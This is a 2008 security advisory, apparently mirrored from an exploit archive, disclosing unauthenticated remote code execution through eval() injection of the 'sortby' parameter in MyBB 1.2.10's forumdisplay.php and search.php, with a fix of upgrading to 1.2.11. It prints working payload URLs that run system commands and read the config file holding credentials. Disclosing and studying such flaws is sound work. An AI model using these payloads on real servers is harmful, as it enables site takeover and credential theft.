477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
109 lines
3.6 KiB
Text
Executable file
109 lines
3.6 KiB
Text
Executable file
[waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10
|
|
===============================================================================
|
|
|
|
Author: Janek Vind "waraxe"
|
|
Independent discovery: koziolek
|
|
Date: 16. January 2008
|
|
Location: Estonia, Tartu
|
|
Web: http://www.waraxe.us/advisory-61.html
|
|
|
|
|
|
Target software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
MyBB is a discussion board that has been around for a while; it has evolved
|
|
from other bulletin boards into the forum package it is today. Therefore,
|
|
it is a professional and efficient discussion board, developed by an active
|
|
team of developers.
|
|
|
|
Vulnerabilities discovered
|
|
===============================================================================
|
|
|
|
1. Remote Code Execution in "forumdisplay.php":
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Precondition: valid forum "fid" must be known.
|
|
Attacker doesn't need to have any privileges in mybb installation to be
|
|
successful in attack.
|
|
|
|
Proof-Of-Concept request:
|
|
|
|
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby='
|
|
|
|
... and we will see error message:
|
|
|
|
Parse error: syntax error, unexpected ''', expecting ']' in
|
|
C:\apache_wwwroot\mybb.1.2.10\forumdisplay.php(407) : eval()'d code on line 1
|
|
|
|
Problematic piece of code is related to "eval()" function:
|
|
|
|
eval("\$orderarrow['$sortby'] = \"".
|
|
$templates->get("forumdisplay_orderarrow")."\";");
|
|
|
|
|
|
Example attacks:
|
|
|
|
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
|
|
&sortby='];phpinfo();exit;//
|
|
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
|
|
&sortby='];system('ls');exit;//
|
|
http://localhost/mybb.1.2.10/forumdisplay.php?fid=2
|
|
&sortby='];readfile('inc/config.php');exit;//
|
|
|
|
|
|
2. Remote Code Execution in "search.php":
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Precondition: search "sid" must be known - but that's trivial task.
|
|
Attacker doesn't need to have any privileges in mybb installation to be
|
|
successful in attack.
|
|
|
|
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
|
|
&sortby='
|
|
|
|
Parse error: syntax error, unexpected ''', expecting ']' in
|
|
C:\apache_wwwroot\mybb.1.2.10\search.php(141) : eval()'d code on line 1
|
|
|
|
Problematic is exactly same piece of code, as in previous case:
|
|
|
|
eval("\$orderarrow['$sortby'] = \"".
|
|
$templates->get("forumdisplay_orderarrow")."\";");
|
|
|
|
Example attacks:
|
|
|
|
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
|
|
&sortby='];phpinfo();exit;//
|
|
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
|
|
&sortby='];system('ls');exit;//
|
|
http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here]
|
|
&sortby='];readfile('inc/config.php');exit;//
|
|
|
|
Both remote code execution security holes are very dangerous and can be
|
|
used by attacker to complete takeover the website and possible total
|
|
compromise of webserver.
|
|
|
|
How to fix:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Download MyBB new version 1.2.11 as soon as possible!
|
|
|
|
|
|
Greetings:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb
|
|
and anyone else who know me!
|
|
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!
|
|
|
|
Contact:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
come2waraxe@yahoo.com
|
|
Janek Vind "waraxe"
|
|
|
|
Homepage: http://www.janekvind.com/
|
|
Waraxe forum: http://www.waraxe.us/forums.html
|
|
|
|
---------------------------------- [ EOF ] ------------------------------------
|
|
|
|
# milw0rm.com [2008-01-16]
|